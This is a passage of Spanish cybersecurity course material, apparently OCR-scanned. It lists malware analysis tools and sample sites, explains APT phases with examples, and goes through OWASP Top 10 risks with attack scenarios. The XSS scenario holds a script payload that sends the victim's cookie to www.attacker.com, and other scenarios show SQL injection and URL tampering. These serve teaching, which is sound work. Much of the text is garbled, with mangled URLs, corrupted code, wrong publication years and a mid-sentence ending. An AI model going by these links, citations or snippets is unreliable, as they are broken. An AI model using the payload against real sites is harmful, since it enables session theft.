Análisis del lenguaje de script powershell

 OfficeMalScanner - http://www. powershellempire.com/

Análisis de un fichero PE (portable Exceutable)


 Pefile - httpe:// cithub com'eracarrera/pefile
 Pestudio - https:/vww.winitor.com,
 Stud_PE - http://www

Analisis del sistema de archivos NTFS

 ZWorks - https: /taworks.net


 Analisis de un fichero binario
 Autolt - https://www.autoitscriptcom site/autoit
 Exc2Aut - http://domoticx.com/autoit3 decompilerexc2aut
 Fiddler - http: /vwww.teleri k.com/fiddler
 Process Monitor - https://technet.microsoft.com/en-us/s
 Scapy - http://una
 Witreshark - https:sinternals/bb 996645 as pxcdev .org'projects/
 scapywww.awireshark org
 NET CodeReflect - http:/Aa000x;devextias.comdecompilers

Sandbox o entorno de prueba


 Cuckoo Sandbox - https: /cuckoosandbox ore
Protección de dispositivos (ordenador, Smartphone, Tablet)
 Herramientas de la Oficina de Seguridad del Intemauta (OSI) - https: /vww.osi.es
herramientas

Investigacion forense
 FastIR Collector - https ://github.com/SekoiaLab/Fastir Collector
 Volatility Foundation - http: www. volatilityfoundation or,

Sitios web de malware


A continuación, se enumeran al gunos sitios web de malware clasificados por categoría:

Analisis de Malware en linea


 Document Analyzer - http:/document-analyzer net
 Malwr - hitps://malwr.com
 Virus Total - https://virustotal.com

Analisis tecnicos de malware


 Dr. Fu's Security Blog - hitp://fumalwarcanalysis.blogspot.com.es
 Malware lu - http://malware luarticles
 TUTS4YOU - https ://tuts4you.com

Descargas de muestras de Malware


 Contagio - http://contagiodump.blo gspot com.es
 Malekal - http: ¿malware b.malekal.com.
 Malware lu - http://malware.lu
 Open Malware - http://openmalywarc,org:
 Virus Share - https://viruss hare com

Vulenrabilidades
 Common Vulnetabilities and Exposures - http: /cye,mitir.org
 SecutityFocus - http://www.security focus com
 Vulnerability Notes Database - urihttp://www.kb certorgvuls

Virus y botnets
 F-Secure - https://Awwf-secure com
 Instituto Nacional de Ciberse ridad - https: wuw.incibe es
 SecuteList - https ://securelist.com
 Servicio AntiBotnet de la OSI - https://yvww.osi.es'es'servicio-antibotnet

Información adicional
Si quiere profundizar en alguno de los temas tratados en esta unidad, puede encontrar
información adicional en las referencias que se muestran a continuación.

 W.Alcom, C. Frichot, and M.Orru, The Browser Hackers Hand book, Indianapolis: John
Wiley 4e SonsInc, 214.
 J Aycock Computer Viruses and Malware, New Yotk: Springer, 2006.
 R Baloch Ethical Hacking and Penetiation Testing Guide, Boca Raton: Auerbach
Publications, 2014,
 T.Klein, A Bug Hunters Diary: A Guided Tour Through the Wilds of Software Security, San
Francisco: No Starch Press, 2011.
 K.D. Mitnick, W. L. Simon, and S. Wozniak, The Att of Deception: Controlling the Human
Element of Secutity, Indiamapolis: John Wiley 4: Sons Inc, 2003,
 K.D. Mitnickand W. L. Simon, The Art of Intrusion: The Real Stories Behind the Exploits of
Hackers,Intruders and Deceivers, Indianapolis: John Wiley 4: Sons Inc, 205,
 P. Rascagneres, Seguridad informática y Malwares: Amálisis de amenazas e
implementación de contramedidas. ENI, 16.
 M. Sikorski and A. Honig, Practical Malware Analysis: The Hands-On Guide to Dissecting
Malicious
 Software, San Francisco: No Starch Press, 2012.
 W.Stallings, Cryptography and Network Security: Principles and Practice, 7th Edition.
Pearson, 2016.
 D. Stuttard and M. Pinto, The Web Application Hackers Handbook: Discovering and
Exploiting Security
 Flaws, 2a Edition. Indianapolis, Chichester: John Wiley de Sons Inc, 2011.
 P. Szor, The Art of Computer Virus Research and Defense. Upper Saddle River, NJ: Addison
Wesley Professional, 2005

Advanced Persistent Threats (APTs)

Hoy en día, la seguridad es un aspecto muy importante a tener en cuenta dado el aumento de
casos de ataques cibernéticos que están ocurriendo en organizaciones, entidades, empresas, entre
otras. Por ello, es esencial prevenir, o al menos detectar lo antes posible, dichos ataques.

En esta unidad, se describe el concepto de amenazas persistentes avanzadas o Advanced


Persistent Threads (APTs), se enumeran las fases de una APT, se explican las acciones maliciosas,
objetivos y consecuencias de las APT y, finalmente, se presentan algunos ejemplos de APTs
ocurridos en los últimos años.

Definición

Una APT es un tipo de ataque dirigido, orientado, furtivo, adaptable y centrado en los datos,
caracterizado porque el atacante tiene tiempo y recursos suficientes para planificar una
infiltración por la red para acometer su objetivo.

Lo que hace que este ataque sea persistente es que el atacante no se va, intentándolo una y otra
vez hasta que tenga éxito. Por este motivo las APTs causan tanto daño, ya que pueden ser
prologadas en el tiempo.

Se denomina también avanzada porque no utiliza un único método de ataque sino varios. A
diferencia de otros ataques, este es realizado por grupos de personas que tienen tiempo y
recursos económicos para conseguir un ataque totalmente personalizado para su objetivo.
No debemos confundir este tipo de ataque con botnets (ataques oportunistas e indiscriminados
que buscan cualquier victima posible). El tipo de ataque APT lo dirigen profesionales bien
financiados y organizados.

Así pues, APT lo podríamos describir como «cibercáncer», esto es, un método organizado y
sofisticado para comprometer los sistemas informáticos.

Fases de una APT

A continuación, se enumeran las fases generales de un ataque APT

Definir objetivo: recopilación de información sobre el objetivo, buscando áreas específicas que
pueden ser enfocadas para logar un compromiso a largo plazo con la cantidad mínima de energía
o esfuerzo. Entre las motivaciones que llevan a elegir un objetivo en particular destacan
cuestiones monetarias, políticas o ideológicas. Básicamente, el objetivo es robar dinero, roba
datos, interrumpir las operaciones de la organización o avergonzar públicamente a esta.

Creación del equipo: el atacante, en lugar de actuar en solitario, se forma con un equipo de
experto con las habilidades necesarias para realizar un ataque APT.

Adquirir herramientas: sabiendo la naturaleza del problema, el adversario elabora una lista de
herramientas necesarias para llevar a cabo el estudio de la organización, así como la elaboración
del ataque y sus consecuencias.

Investigaciones y reconocimiento: El adversario empieza estudiar el objetivo, familiarizándose con


las personas, las tecnologías y el proceso. Estos análisis ya implican centrarse en el objetivo real al
que van a atacar, como escaneo de puertos, trazas de paquetes, contraseñas, carpetas
compartidas, información de dispositivos, etc.

Pruebas de respuesta: antes de lleva a cabo el ataque, los atacantes realizan una serie de pruebas
para comprobar si la organización detecta el ataque y esta responde de alguna manera, según los
resultados obtenidos de este primer test , el equipo de ataque puede alterar su táctica y probar
otros métodos de intrusiones.

Intrusión inicial: los intrusos preparan sus sistemas y herramientas para comenzar el ataque. Este
ataque puede llevarse a cabo a través de la suplantación de identidad, el robo de un ordenador
portátil o un móvil de la organización, la infiltración como persona de mantenimiento con el fin de
conecta un dispositivo a la red interna, en este paso se podría decir que se ha implantado el
malware en los sistemas informáticos.

Iniciar conexión de salida: una vez que los intrusos han comprometido a la red interna de la
organización inician un canal de comunicaciones a partir de un sistema controlado por ellos,.
Escogen un canal por el cual no puedan ser rastreados. En este punto, si se detecta el ataque, se
podría interrumpir todo el proceso creado por los adversarios y desactivar el objetivo principal.

Ampliar el acceso: después que los intrusos hayan establecido conexión, investigan y tratan de
comprender mejor la arquitectura del sistema con el fin de localizar el objetivo que desean robar o
desactivar.

Recoger y extraer datos. En esta fase es donde los intrusos, una vez hayan identificado el objetivo
y el sistema que contiene los datos que desean robar, realizan los pasos necesarios para obtener
los datos y enviarlos a través de la conexión de salida que habían establecido anteriormente. Este
es el paso más difícil para los atacantes, ya que la extracción de los datos puede ser lenta, durando
meses incluso para que pase desapercibida.

Permanecer sin ser detectado: Dependiendo de la naturaleza del ataque APT, puede ser más
complicado eliminar cualquier tipo de rastro debido a su intrusión.

Acciones maliciosas, objetivos y consecuencias Te las APT

En la actualidad, los atacantes de sistemas informáticos ya no son personas que trabajan en


grupos reducidos o de forma individual para obtener dinero lo más rápido posible, sino que
normalmente son grandes organizaciones criminales.

Estos nuevos ataques están orientados a objetivos empresariales, financieros y políticos, tales
como la obtención de dinero, el robo de la propiedad intelectual, el espionaje industrial y el
control de la infraestructura crítica de una empresa.

Una de las estrategias que estos atacantes utilizan es la ingeniería social, esto es, la obtención de
información confidencial de la empresa a través de la manipulación de sus empleados,
comprometiendo de esta forma a toda la organización.

Dada la ambición y complejidad de las APTSs, se está produciendo un cambio en la forma de


percibir las amenazas en el mundo empresarial. Por ello, la primera medida de seguridad a
adoptar debe ser conocer lo mejor posible este tipo de ataque y vigilar los sistemas
constantemente.
Ejemplos de APT ocurridas

En esta sección se describen algunos de los ejemplos de APT ocurridas en los últimos años.

 APT 28-Fancy Bear (2017):


Motivación: Robo y difusión de información de los ordenadores del Partido Demócrata de
Estados Unidos.
Resultado: El equipo APT28, formado por un grupo sofisticado de desarrolladores y
operadores, ha recolectado históricamente información de inteligencia sobre defensa y
cuestiones geopolíticas. Sus actividades de espionaje, siempre alineadas con los intereses
rusos, se han centrado en documentos militares y medios de comunicación en Estados
Unidos, Europa y paises de la ex-Unión Soviética (véase Figura 9.1).

 AntiDoping Administration and Management System (2016):


Motivación: Infiltración en la Agencia Antidopaje.
Resultado: Los hackers rusos se infiltraron en bases de datos de la AntiDoping
Administration and Mana gement System (ADAMS) y publicaron registros confidenciales
de atletas como, por ejemplo, el supuesto dopaje de las dos tenistas y hermanas Williams.
Los documentos probarían sustancias prohibidas y con fines terapéuticos.

 NetTraveler (2014):
Motivación: Exfiltración de datos a diplomáticos, militares y agencias gubernamentales
procedentes de 40 paises.
Resultado: Extracción de información de los sistemas mediante un malware de keylogging
robando documentos Word, Excel y PowerPoint, así como la modificación de las
configuraciones para adueñarse de otros tipos de ficheros como CorelDRAW, AutoCAD y
otros usados para defensa militar (véase Figura 10.1)

 Red October (2011):


Motivación: Los atacantes querian reunir información de las organizaciones
comprometidas en las que se incluían sistemas informáticos, dispositivos móviles
personales y equipos de red.
Resultado: Se utilizaron hasta 60 dominios y empresas de alojamiento para recibir
información. Mediante el correo electrónico instalaban el software malicioso en
documentos adjuntos que explotaban vulnerabilidades en Microsoft Word y Excel.
Además, se encontró una página web que vulneraba información a través del plugin para
el navegador de Java (véase Figura 4.4).

 Operación Aurora (2010):


Motivación: Robo de la propiedad intelectual y obtención de acceso a las cuentas de los
usuarios de organizaciones como Adobe, Juniper Networks y Rackspace.
Resultado: Explotación de vulnerabilidades de los dispositivos para robar información.
Estados Unidos fue el que recibió más infecciones, cuyo ataque fue atribuido a China.

 Stuxnet (2010):
Motivación: Los atacantes querian tomar el control de las centrales nucleares de Trán.
Resultado: Esta «ciberarma» atacaba a sistemas industriales y explotaba cuatro
vulnerabilidades zero day, esto es, vulnerabilidades desconocidas para los usuarios y el
fabricante de los sistemas. Su propagación mediante USB y LAN se extendió a través de
máquinas Windows en diferentes países, entre los que destacan Irán, Rusia, Alemania e
India.

Información adicional

Si quiere profundizar en alguno de los temas tratados en esta unidad, puede encontrar
información adicional en las referencias que se muestran a continuación.

 E. Cole, Advanced Persistent Threat: Understanding the Danger and How to Protect Your
Organization. Amsterdam, Boston: Syngress, 2012
 P. Gregory, Advanced Persistent Threat Protection For Dummies. Hoboken, New Jersey:
John Wiley £ Sons, Inc, 2013.
 Winklerand A. T. Gomes, Advanced Persistent Security. Syneress, 2016.
 T. Wrightson, Advanced Persistent Threat Hacking: The Art and Science of Hacking Any
Organization. New York: McGraw-Hill Education, 2015.

MÓDULO 2: AMENAZAS EN LA RED

ATAQUES EN LA RED

En la actualidad, Internet es una herramienta imprescindible para la mayoría de las personas, así
como para las empresas, universidades y gobiernos a nivel mundial.

Utilizamos Internet para llevar a cabo tanto actividades de tipo personal como profesional,
dejando rastro de nuestros datos que podrían estar al alcance de intrusos que ataquen a las redes
de ordenadores, invadiendo, por tanto, nuestra privacidad.

Los expertos en seguridad informática, ayudados por programas específicos, se encargan de


mitigar este tipo de ataque en la red.

Tipos de ataques en red

A continuación, se detallan los tipos de ataques más frecuentes en la red:

 Distributed Denial of Service (DDoS): utiliza un gran número de equipos comprometidos


para atacar a un único sistema. Los ordenadores atacantes incomodan al objetivo
enviándole un gran número de mensajes y solicitudes. El receptor no puede hacer nada
ante este gran volumen de tráfico entrante, por lo que finalmente acaba bloqueando el
sistema. Este ejército de ordenadores, conocido como botnet, está formado por
ordenadores individuales denominados zombies.
 IP Spoofing: el atacante puede falsificar direcciones IP válidas para obtener acceso a una
red de destino.
 Man in the Middle: el intruso se posiciona entre el usuario y la entidad con la que se está
comunicando. Esta comunicación puede ser alterada, modificada, e incluso eliminada
haciéndose pasar por el usuario para conseguir su objetivo.

OWASP Top 10 (2017) de riesgos de seguridad

OWASP Top 10 (2017) se basa principalmente en 11 grandes conjuntos de datos de empresas en


seguridad de aplicaciones. Estos datos abarcan vulnerabilidades reunidas de cientos de
organizaciones y más de 50,000 aplicaciones y APIs conocidas.

El Top 10, que se describe en las siguientes subsecciones, proporciona técnicas básicas para
proteger las áreas problemáticas de alto riesgo, así como ejemplos de escenarios de ataque.

Inyección

Descripción: Se envían ataques basados en textos simples que explotan la sintaxis del intérprete
de destino. Cualquier fuente de datos puede ser un vector de inyección. Estos se encuentran en
consultas SQL, LDAP, XPath o NoSQL, XML, comandos del sistema operativo, entre otros.

Las inyecciones de código son fáciles de descubrir si se examina el código, pero difíciles de
descubrir a través de pruebas.

Este tipo de ataque puede conllevar a la pérdida de datos o denegación de acceso tomándose
posesión del anfitrión, cuyos datos pueden ser robados, modificados o eliminados.

 ¿Cómo averiguar si soy vulnerable?: Para ello deberemos desactivar el intérprete o


evitarlo. Para las llamadas a SQL utilice variables de enlace en todas las sentencias y
procedimientos, o evite consultas dinámicas.
 ¿Cómo prevenirlo?:
 Mantener los datos no fiables separados de los comandos y consultas.
 Utilizar APIs seguras.
 Utilizar la sintaxis específica para ese intérprete y evitar caracteres especiales.
 Validar las entradas. El proyecto OWASP API de seguridad empresarial (E SAPT)
dispone de una biblioteca de rutinas de validación.
 Ejemplos de escenarios de ataque:
 Escenario 1: Consulta SQL vulnerable:

String query="SELECT * FROM accounts

WHERE custlD=""+request getParameter ("id")


+”:
 Escenario 2: Igual que el anterior, consultas de frameworks que son vulnerable

Query HQL Query =session createQuery ("FROM accounts

WHERE custID=""+request.getParameter (”1d")+”´”);

El atacante modifica el valor del parámetro *id” en su navegador para enviar 0” 1 *” 1. Por
ejemplo: http://example.com/a pp'accountView? id “or” 1 1

Pérdida de autenticación y gestión de sesiones

Descripción: El atacante utiliza filtraciones o vulnerabilidades en las funciones de autenticación o


gestión de las sesiones como, por ejemplo, cuentas expuestas, contraseñas, identificadores de
sesión para suplantar a otros.

Para protegerse de este tipo de acciones, los desarrolladores crean esquemas propios de
autenticación o gestión de sesiones, aunque es difícil que sea totalmente eficaz, ya que estos
contienen vulnerabilidades en el cierre de sesión, gestión de contraseñas, tiempo de conexión,
función de recordar contraseña, pregunta secreta, etc.

Encontrar estas vulnerabilidades es complicado ya que cada implementación es única. Estas


vulnerabilidades pueden permitir que algunas o todas las cuentas sean atacadas. Una vez que el
ataque resulte exitoso, el atacante podría realizar cualquier acción que la víctima pudiese. El
impacto de este tipo de ataques es severo.

¿Cómo averiguar si soy vulnerable?: Podemos serlo si las credenciales de los usuarios no están
protegidas, o se pueden adivinar o sobrescribir a través de funciones débiles de gestión de la
sesión (creación de usuarios, cambio o recuperación de contraseñas, ID de sesión débil). Los ID de
sesión son expuestos en la URL, siendo vulnerables a ataques de fijación de la sesión. Los ID de
sesión no expiran, algunos no son invalidados al cierre de la sesión. Las contraseñas, ID de sesión y
otras credenciales son transmitidas a través de canales no cifrados.

¿Cómo prevenirlo?: Control de autenticación y gestión de sesiones fuerte, que deben cumplir
todos los requisitos definidos en el Application Security Verification Standard (ASVS) de OWASP.
Asimismo, considerar el uso del autenticador de ESAPI y las APIs de usuario.

Evitar vulnerabilidades de XXS (véase Sección 5.2.3).

Ejemplos de escenarios de ataque:

 Escenario 1: Aplicación de reserva de vuelos que soporta reescritura de URL poniendo


los ID de sesión en la propia dirección:

http://example comsale/saleitems;

jsessionid =2P0OOCIIDPXMOOQSNDLPSKHCIUN2IV?

dest-Hawaii
Si se envía esta dirección por correo, se podrá utilizar la sesión ID que se muestra y la tarjeta de
crédito de ese usuario.

 Escenario 2: No cerrar sesión en un PC público. En caso que solo se cierre la pestaña


del navegador, el atacante podrá acceder a la sesión del usuario anterior, ya que aún
se encuentra autenticado.
 Escenario 3: Un atacante interno o externo de la organización consigue acceder a la
base de datos de las contraseñas del sistema. En caso que estas no se encuentren
cifradas, podrá conseguirlas sin problemas.

Secuencia de comandos en sitios cruzados (XSS)

Descripción: El atacante envía cadenas de texto que son secuencias de comandos de ataque que
explotan el intérprete del navegador. Casi cualquier fuente de datos puede ser un vector de
ataque, incluyendo fuentes internas como datos de la base de datos.

XSS es la falla de seguridad predominante en aplicaciones web. Esto ocurre cuando en una página
de un navegador incluye datos suministrados por un usuario sin ser validados o codificados
anteriormente.

Existen 3 tipos de fallas: almacenadas, reflejadas y basadas en Document Object Model (DOM). La
mayoría de fallas XSS son detectadas fácil mente a través de pruebas o por medio de análisis de
código.

El atacante ejecuta secuencias de comandos en el navegador de la víctima para secuestrar


sesiones de usuario, alterar la apariencia del sitio web, insertar código hostil, redirigir usuarios,
secuestrar el navegador de la víctima utilizando malware, entre otros.

¿Cómo averiguar si soy vulnerable?: Es vulnerable si no asegura que todas las entradas de datos
ingresadas por los usuarios son codificadas adecuada mente o si no se verifica en el momento de
ingreso que los datos sean seguros antes de ser incluidos en la página de salida.

Mediante el uso de herramientas automatizadas se pueden identificar ciertas vulnerabilidades de


XSS. Sin embargo, cada aplicación construye las páginas de salida de forma diferente y utiliza
distintos intérpretes en el navegador como JavaScript, ActiveX, Flash o Silverlight, dificultando la
detección automática.

Una cobertura completa requiere además de enfoques automáticos, una combinación de técnicas
como la revisión manual de código y de pruebas de penetración.

Las tecnologías Web 2.0, como Ajax, hacen que XSS sea mucho más difícil de detectar mediante
herramientas automatizadas.
¿Cómo prevenirlo?:

 Codificar los datos no confiables basados en el contexto HTML (cuerpo, atributo,


JavaScript, CSS o URL).
 También se recomienda la validación de entradas positiva o de «lista blanca»,
considerando que esta técnica no es una defensa completa ya que muchas aplicaciones
requieren aceptar caracteres especiales como parte de las entradas válidas. Dicha
validación debe, en la medida de lo posible, validar la longitud, los caracteres, el formato y
reglas de negocio que debe cumplir el dato antes de aceptarlo como entrada.
 Para contenido en formato enriquecido, considere utilizar bibliotecas de auto sanitización
como, por ejemplo, AntiSamy de OWASP.
 Considere utilizar políticas de seguridad de contenido (CSP) para defender contra XSS la
totalidad de su sitio.

Ejemplos de escenarios de ataque:

 La aplicación utiliza datos no confiables en la construcción del siguiente código HTML sin
validarlos o codificarlos:
String page+="<input name="creditcard type= TEXT"

value=""+request getParameter("CC")+">";

El atacante modifica el parámetro “CC” en el navegador:

"><senpt > document locaCon=

"http//www.attacker com/cgi-bin/cookie cgi?

foo="+document cookie</seript>"
Esto causa que el identificador de sesión de la víctima sea enviado al sitio web del atacante,
permitiendo al atacante secuestrar la sesión actual del usuario.

Referencia directa a objetos insegura

Descripción: En este caso, el atacante siendo usuario autorizado en el sistema, modifica el valor de
un pará metro que se refiere directamente a un objeto del sistema, para el cual el usuario no tiene
acceso.

Las aplicaciones utilizan el nombre o la clave actual de un objeto cuando se generan las páginas
web. Al no verificarse que el propio usuario tiene autorización sobre la aplicación resulta una
vulnerabilidad de referencia de objetos directos inseguros.

Dichas vulnerabilidades pueden comprometer toda la información que pueda ser referida por
parámetros, a no ser que el espacio de nombres resulte escaso. A un atacante le resulta sencillo
poder acceder a todos los datos disponibles de ese tipo.
¿Cómo averiguar si es vulnerable nuestra aplicación?: Para comprobarlo se necesita verificar que
todas las referencias a objetos tienen las protecciones adecuadas. Para ello debemos considerar lo
siguiente:

1. Para referencias directas a recursos restringidos, la aplicación necesitaría verificar si el


usuario está autorizado al recurso que solicita.
2. Para referencias indirectas, se limita al usuario los valores autorizados.

Para verificar si estas propuestas se implementan con seguridad, bastaría con analizar el código de
la aplicación y realizar comprobaciones para identificar referencias a objetos directos.

¿Cómo prevenirlo?:

 Utilizar referencias indirectas por usuario o por sesión. Esto impide que el atacante
acceda directamente al recurso no autorizado mediante una lista de 6 recursos que utiliza
números del 1 al 6 para indicar cuál es el valor elegido por el usuario, en vez de utilizar la
clave del recurso de la base de datos. Así la aplicación tendrá que realizar la correlación
entre la referencia indirecta con la clave de la base de datos correspondiente con el
servidor. ESAPI de OWASP incluye relaciones tanto secuenciales como aleatorias de
referencias de acceso para eliminar referencias directas a objetos.
 Comprobar el acceso. Cada vez que se utilice una referencia directa a un objeto de una
fuente que no es de confianza debe incluir una comprobación de control de acceso para
asegurar que el usuario está autorizado a acceder al objeto solicitado.

Ejemplos de escenarios de ataque:

 La aplicación utiliza datos no verificados en una llamada SQL que accede a información
sobre la cuenta:

stmt setString (1,request getparameter ("acct”));

ResultSet results= pstmt executeQuery ( );

El atacante modifica el parámetro acceso en el navegador para enviar cualquier dato al número de
cuenta que quiera. Si esta no se verifica, el atacante puede tener acceso a todas las cuentas del
usuario:

http:/example com/app/accountinfo?acct=notmyacet

 Escenario 2: Un atacante fuerza en el navegador la URL destino. Para acceder a la página


de administración se necesitan derechos de administrador:

http-//example.com/app'getappinfo

http //example com/app/admin_getappinfo


Si un usuario no autenticado puede acceder a cualquiera de las páginas de administración es una
falla. Si un usuario que no es administrador puede acceder, también es una falla.

Configuración de seguridad incorrecta

Descripción: El atacante accede a cuentas por defecto, páginas sin uso, fallas sin parchear,
archivos y directorios sin protección para obtener acceso no autorizado.

Las configuraciones incorrectas de seguridad pueden ocurrir a cualquier nivel de la aplicación,


incluyendo la plataforma, servidor web, servidor de aplicación, base de datos, framework, y código
personalizado. Los desarrolladores y administradores de sistema necesitan trabajar juntos para
asegurar que las distintas capas están configuradas apropiadamente. Las herramientas de
detección automatizadas son útiles para detectar parches omitidos, fallos de configuración, uso de
cuentas por defecto, servicios innecesarios, entre otros.

Estas vulnerabilidades permiten a los atacantes tener un acceso no autorizado a algunas


funcionalidades o datos del sistema, comprometiendo totalmente el sistema. Todos los datos
podrían ser robados o modificados lenta mente en el tiempo. Los costes de recuperación podrían
ser altos.

¿Cómo averiguar si soy vulnerable?: Para ello deberemos saber si hay que actualizar el sistema
operativo, servidor web, aplicaciones y todas las bibliotecas de código. Deshabilitar o instalar
puertos, servicios, páginas, cuentas, privilegios. Comprobar que las cuentas por defecto y sus
contraseñas no han cambiado y están habilitadas. Observar si los mensajes de error revelan
rastros demasiados informativos al usuario. Comprobar si las configuraciones de seguridad de su
framework de desarrollo y bibliotecas están sin configurar a valores seguros.

¿Cómo prevenirlo?

 Un proceso rápido, fácil y repetible de fortalecimiento para obtener un entorno apropiada


mente asegurado. Los entornos de Desarrollo, QA y Producción deben ser configurados
idéntica mente (con diferentes contraseñas usadas en cada entorno). Este proceso puede
ser automático para minimizar el esfuerzo de configurar un nuevo entorno seguro
 Un proceso para mantener y desplegar las nuevas actualizaciones y parches de software
de una manera oportuna para cada entorno. Debe incluir también todas las bibliotecas de
código.
 Una arquitectura de aplicación robusta que proporcione una separación segura y efectiva
entre los componentes.
 Considere ejecutar escaneos y realizar auditorías periódica mente para ayudar a detectar
fallos de configuración o parches omitidos.

Ejemplos de escenarios de ataque:


 Escenario 1: La consola de administrador del servidor de aplicaciones se instaló
automática mente y no se ha eliminado. Las cuentas por defecto no se han modificado, Un
atacante descubre las páginas por defecto de administración que están en su servidor, se
conecta con las contraseñas por defecto y se hace con su control.
 Escenario 2: El listado de directorios no se encuentra deshabilitado en su servidor. El
atacante descubre que puede simplemente listar directorios para encontrar cualquier
archivo. El atacante encuentra y descarga todas sus clases compiladas de Java, las cuales
recompila y realiza ingeniería inversa para obtener todo su código fuente. Encuentra un
fallo serio de control de acceso en su aplicación.

Exposición de datos sensibles

Descripción: Los atacantes roban claves, realizan ataques man in the middle, roban datos del
servidor o del navegador al usuario.

La debilidad más común es simplemente no cifrar datos sensibles. Cuando se emplea cifrado, es
común detectar generación y gestión débiles de claves, el uso de algoritmos débiles, y
particularmente técnicas débiles de hashing de contraseñas. Las debilidades a nivel del nave gador
son muy comunes y fáciles de detectar, pero difíciles de explotar a gran escala.

Los fallos, frecuentemente, comprometen todos los datos que deberían estar protegidos. Estos
incluyen datos sensibles como registros médicos, credenciales, datos personales, tarjetas de
crédito, etc.

¿Cómo averiguar si soy vulnerable?: Para averiguarlo, hay que proteger los datos sensibles como
contraseñas, números de tarjetas de crédito, registros médicos e información personal, ya que
para protegerlos hay que tener en cuenta lo siguiente: ¿Se almacenan en texto claro a largo plazo,
incluyendo sus respaldos? ¿Se transmite en texto claro, interna o externamente? ¿Se utiliza algún
algoritmo criptográfico débil o antiguo? ¿Se generan claves criptográficas débiles, o falta una
adecuada rotación o gestión de claves?

¿Cómo prevenirlo?:

 Cifrarlos datos.
 No almacenar datos sensibles innecesarios.
 Aplicar algoritmos de cifrado fuertes y estándar, así como claves fuertes y gestionarlas de
forma segura. Considere utilizar módulos criptográficos validados como FIPS 140.
 Asegúrese que las claves se almacenan con un algoritmo especialmente diseñado para
protegerlas como, por ejemplo, berypt, PBKDF2 o scrypt.
 Deshabilite el autocompletar en los formularios que recolectan datos sensibles.
Deshabilite también el cacheado de páginas que contengan datos sensibles.

Ejemplos de escenarios de ataque:


 Escenario 1: Una aplicación cifra los números de tarjetas de crédito en una base de datos
utilizando cifrado automático de la base de datos. Esto significa que también se descifra
estos datos automática mente cuando se recuperan, permitiendo por medio de una
debilidad de inyección de SQL recuperar números de tarjetas en texto claro. El sistema
debería cifrar dichos números usando una clave pública, y permitir solamente a las
aplicaciones de back-end descifrarlo con la clave privada.
 Escenario 2: Un sitio simplemente no utiliza Secure Sockets Layer (SSL) para todas sus
páginas que requieren autenticación. El atacante monitoriza el tráfico en la red, por
ejemplo, una red inalámbrica abierta, y obtiene la cookie de sesión del usuario. El atacante
reenvía la cookie y secuestra la sesión, accediendo a los datos privados del usuario.

Inexistente control de acceso a nivel de funcionalidad

Descripción: El atacante, que es un usuario legítimo en el sistema, simplemente cambia la URL o


un parámetro a una función con privilegios. Usuarios anónimos podrían acceder a funcionalidades
privadas que no estén protegidas.

Las aplicaciones no siempre protegen las funcionalidades adecuada mente. En ocasiones la


protección a nivel de funcionalidad se administra por medio de una configuración, y el sistema
está mal configurado. Otras veces los programadores deben incluir un adecuado chequeo por
código, y se olvidan. La detección de este tipo de vulnerabilidad es sencilla. La parte más compleja
es identificar qué páginas (URLs) o funcionalidades atacables existen.

Estas vulnerabilidades permiten el acceso no autorizado de los atacantes a funciones del sistema.
Las funciones administrativas son un objetivo clave de este tipo de ataques.

¿Cómo averiguar si soy vulnerable?: La mejor manera de determinar si una aplicación falla es
restringir adecuada mente el acceso a nivel de funcionalidades.

Usando un proxy, navegue a su aplicación con un rol privilegiado. Luego visite reiteradamente
páginas restringidas usando un rol con menos privilegios. Si el servidor responde a ambos por
igual, probablemente es vulnerable. Algunas pruebas de proxies apoyan directamente este tipo de
análisis.

También puede revisar la implementación del control de acceso en el código. Intente seguir una
solicitud unitaria y con privilegios a través del código y verifique el patrón de autorización. Luego
busque en el código para detectar dónde no se está siguiendo ese patrón. Las herramientas
automatizadas no suelen encontrar estos problemas.

¿Cómo prevenirlo?:

 El proceso para gestión de accesos y permisos debería ser actualizable y auditable


fácilmente. No lo implemente directa mente en el código sin utilizar parametrizaciones.
 La implementación del mecanismo debería negar todo acceso por defecto, requiriendo el
establecimiento explícito de permisos a roles específicos para acceder a cada
funcionalidad.
 Si la funcionalidad forma parte de un workflow, verifique y asegúrese que las condiciones
del flujo se encuentren en el estado apropiado para permitir el acceso.

Ejemplos de escenarios de ataque:

 Escenario 1: El atacante simplemente fuerza la navegación hacia las URLs objetivo. Las
siguientes URLs requieren autenticación:

http://example.com/app/getappInfo

http://example.com/app/admin- getappInfo

Si un usuario no autenticado puede acceder a ambas páginas, eso es una vulnerabilidad. Si un


usuario autenticado, no administrador, puede acceder a admin-getappInfo, también es una
vulnerabilidad, y podría llevar al atacante a más páginas de administración protegidas
inadecuadamente.

 Escenario 2: Una página proporciona un parámetro de «acción» para especificar la función


que ha sido invocada; distintas acciones requieren diferentes roles. Si estos roles no se
verifican al invocar la acción, se trata de una vulnerabilidad.

Falsificación de peticiones en sitios cruzados (CSRF)

Descripción: El atacante crea peticiones HTTP falsificadas y engaña a la víctima mediante el envío
de etiquetas de imágenes, XSS u otras técnicas. Si el usuario está autenticado, el ataque tiene
éxito.

CSRF aprovecha el hecho de que la mayoría de las aplicaciones web permiten a los atacantes
predecir todos los detalles de una acción en particular. Dado que los navegadores envían
credenciales como cookies de sesión de forma automática, los atacantes pueden crear páginas
web maliciosas que generan peticiones falsificadas que son indistinguibles de las legítimas. La
detección de fallos de tipo CSRF es bastante fácil a través de pruebas de penetración o de análisis
de código.

Los atacantes pueden cambiar cualquier dato que la víctima esté autorizada a cambiar, o a acceder
a cualquier funcionalidad donde esté autorizada, incluyendo registro, cambios de estado o cierre
de sesión.

¿Cómo averiguar si es vulnerable nuestra aplicación?: Para conocer si una aplicación es


vulnerable, verifique la ausencia de un token impredecible en cada enlace y formulario. En dicho
caso, un atacante puede falsificar peticiones maliciosas.
Una defensa alternativa puede ser la de requerir que el usuario demuestre su intención de enviar
la solicimd, ya sea a través de la reautenticación, o mediante cualquier otra prueba que demuestre
que se trata de un usuario real (por ejemplo, un CAPTCHA).

No olvidar los enlaces y formularios que invocan funciones que permitan cambios de estados, ya
que estos son los objetivos más importantes del CSRF. Deben verificarse las operaciones de
múltiples pasos, ya que no son inmunes a este tipo de ataque. Los atacantes pueden falsificar fácil
mente una serie de solicitudes mediante el uso de etiquetas o incluso de código Java Script. Hay
que tener en cuenta que las cookies de sesión, direcciones IP de origen, así como otra información
enviada automáticamente por el navegador no proveen ninguna defensa, puesto que esta
información también se incluye en las solicitudes falsificadas.

La herramienta de pruebas CSRF (CSRF Tester) de OWASP puede ayudar a generar casos de prueba
que ayuden a demostrar los daños y peligros de los fallos de tipo CSRF

¿Cómo prevenirlo?: La prevención CSRF requiere la inclusión de un token no predecible para cada
